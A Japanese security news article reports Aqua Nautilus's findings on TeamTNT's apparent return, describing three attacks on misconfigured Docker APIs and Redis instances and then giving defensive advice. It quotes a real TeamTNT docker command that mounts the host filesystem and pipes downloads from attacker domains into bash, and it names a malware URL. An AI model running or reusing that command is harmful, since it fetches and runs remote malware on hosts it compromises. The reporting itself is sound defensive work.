引退した脅威アクターが、クラウド、コンテナ、そして暗号鍵を狙う新たな攻撃とともに戻ってきた。
Aqua Nautilusの研究チームは確認した。攻撃は3件で、クラウドプラットフォームや、Kubernetesクラスター、Redisサーバー、Docker APIなどのオンラインインスタンスを専門に狙う脅威アクター、TeamTNTが実行したものと非常によく似ていた。
このサイバー犯罪者は創造性に富み、クラウド環境を標的にする能力で知られている。2020年には、それまで見られなかった新たな手法を導入した。2020~2021年に数多くの攻撃キャンペーンを成功させた後、Twitterに引退を知らせる投稿をしたが、Aqua Nautilusによると、「そのインフラは、さまざまなワームを含むツールによって新たな標的をスキャンし感染させることができたため、古いマルウェアで新たな被害者への自動感染を続けていた」という。
つまり、古いマルウェアやワームは今でも新たな標的を自動的にスキャンして感染させることができる。しかし研究者は、9月第1週に発生した3件の攻撃で、ハニーポットがTeamTNTの痕跡やツールを検出したことから、この脅威アクターが復活したと確信している。
研究者は、最も破壊的な攻撃を「Kangaroo攻撃」と名付けた。残る2件は「Cronb攻撃」と「What Will Be攻撃」だ。これらの攻撃は、DockerインスタンスとAPIを明確に標的としている。
関連記事:コンテナ向けセキュリティソリューションのトップ製品
研究者が見慣れている攻撃
SSLやSSHを含むインターネット上のすべての通信は、暗号化のために秘密鍵と公開鍵に依存している。楕円曲線離散対数問題(ECDLP)は、この処理を不可逆にするために使われる数学的関数だ。
これは現代暗号技術の基本原則である。暗号化は一方向の処理でなければならず、ゲートを開けられるのは鍵だけのはずだ。しかしAqua Nautilusの研究者は、Kangaroo攻撃で使われたシェルスクリプト内に、PollardのKangaroo区間ECDLPソルバーアルゴリズムの証拠を発見した。
攻撃者は、設定ミスのあるDocker Daemonを悪用してコマンドラインを渡し、SECP256K1向けにソルバーアルゴリズムをフォークしたものを複製する。少し複雑に見えるが、最終的な目的は極めて単純だ。実行不可能と思われる数学的問題を解くことを期待して、被害者の計算能力を盗むのである。
理論上、ECDLPの難度は非常に高いが、得られる可能性のある報酬も同じくらい大きい。サイバー犯罪者は、Bitcoinウォレットを含め、オンライン上のほぼすべてのもののロックを解除できるようになるからだ。
この手法はマルウェアの世界でかなり広く使われており、たとえばクリプトマイナーなどがその一例だ。攻撃者は標的マシンのアイドル状態の処理能力を乗っ取り、暗号資産のマイニングに利用する。「Cronb攻撃」では、これが公開状態にあるRedisインスタンスに対するクリプトマイニング攻撃として実行される。
「Cronb」という名前は、TeamTNTが過去の攻撃で使っていた古い名称だ。しかし研究者は、脆弱なRedisインスタンスの検出、永続化の確立、リソースの窃取、検出の回避に、同じ手口とツールが使われていたことを突き止めた。ただし、スクリプトの接続先は新たなC&C(コマンド&コントロール)サーバーに変更されている。
3件の攻撃の最後に当たる「What Will Be」は、設定ミスのあるDocker APIを悪用して不正なコマンドを渡し、マルウェア(whatwill.be/en.sh)をダウンロードする。サイバー犯罪者は、脆弱性を悪用してDockerコンテナから脱出できる。この脆弱性は、プロセス終了時に実行されるスクリプトであるrelease_agent内に存在する、特権コンテナに関係する。
研究者は、Kangaroo攻撃の起点をGitHubプロジェクトまでたどった。関連するGitHubアカウント「wafferz」はドイツ語で「武器庫」を意味し、「dock」という別のリポジトリも所有している。このリポジトリには、TeamTNTに言及したBashスクリプトとコメントが含まれている。
#docker -H tcp://$ipaddy:$2 run -d --name teamtnt -v /:/mnt alpine chroot /mnt /bin/sh -c "curl -sLk http://teamtnt.red/Kuben/sh/scan.sh | bash;curl -# -Lk http://chimaera.cc/sh/mo.sh | bash;while true; do sleep 9999;done"


クラウドとコンテナの脅威から身を守る方法
システムを最新の状態に保つことで攻撃対象領域を縮小し、既知の脆弱性にパッチを適用しておくことができる。
今回の攻撃は、設定ミスのあるインスタンスの脆弱性を悪用する。そのため、明らかな対策はRedisとDockerの設定を強化することだ。また、ファイアウォールによる保護と強固な認証なしに、このような重要なインスタンスをインターネットに公開してはならない。
脅威アクターはサーバーを一斉にスキャンし、設定ミスや脆弱性を検出する。この例は、攻撃プロセスを自動化し、無限に複製できることを示している。Shodanを使って脆弱なRedisインスタンスを収集し、不正なSSHアクセスを自動的に作成するredisMassExploitのように、すぐに使えるスクリプトも公開されている。
print 'TOTAL CHECKED TARGETS: {0}'.format(len(targets))print 'TOTAL PROMISING TARGETS: {0}'.format(len(promisingTargets))print 'TOTAL PWNED TARGETS: {0}'.format(len(pwnedTargets))print 'LIST OF ALL PWNED TARGETS:'for pwnedTarget in pwnedTargets:print pwnedTargetprint 'Have a nice day!!!'
特権コンテナの使用を避ければ、多くのハッキングは実際には不可能になる。今回のケースでは、コンテナからの脱出にSYS_ADMINケイパビリティを使ってCgroupディレクトリをマウントしている。
エンドポイント監視によって、異常なアクティビティやプロセスを検出することもできる。多くのマルウェア対策ソリューションはクリプトマイナーをブロックできる。
個々のマシンでは、CPU使用率を手動で確認するか、消費量が異常になったときにアラートを出すソフトウェアを利用できる。もちろん用途によるが、ほとんどの場合、CPU全体の4分の1や3分の1を超える処理能力が必要になることはまずない。
しかしサイバー犯罪者は、通常ははるかに大きな容量を持つクラウドサーバーへの感染を好むだろう。クラウドサービスには数百、場合によっては数千の利用者が接続しているため、クラウドセキュリティのベストプラクティスと適切なアクセス制御がこれまで以上に重要になる。クラウドサービスは概して安全だが、通常問題になるのは組織がクラウドサービスに接続する方法だ。
次の記事:APIセキュリティのリスクを管理する方法





